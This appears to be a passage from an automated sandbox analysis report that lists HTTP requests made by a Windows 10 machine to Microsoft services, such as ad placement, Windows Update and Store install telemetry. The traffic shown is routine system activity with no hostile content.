Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160804Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8ee01d0c28e14eb69e963e273102d5d3&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-338389&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p=Cache-Control: no-cacheMS-CV: R4MDVFUt1EqdhKtw.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160812Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a575de82e5604264b777120281f318bd&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-280815&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p=Cache-Control: no-cacheMS-CV: R4MDVFUt1EqdhKtw.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pwej?ver=cbf0 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4IeAK?ver=e722 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4ZULl?ver=f222 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4ZFcU?ver=97b4 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PlTB?ver=2a94 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Iy6z?ver=0081 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160847Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=fe00f78d818c4aa98b473a3c7317a31e&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611136&metered=false&nettype=ethernet&npid=sc-310091&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=rijlag7%2C1&tl=2&tsu=1611136&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p=Cache-Control: no-cacheMS-CV: rFNkBju8WEaq73AZ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160902Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160905Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160906Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160907Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160909Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160910Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160911Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160912Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160913Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160915Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160915Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160917Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T160921Z&asid=5a8d34be4c6943daa42f8519abff19bf&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160929Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160931Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160932Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
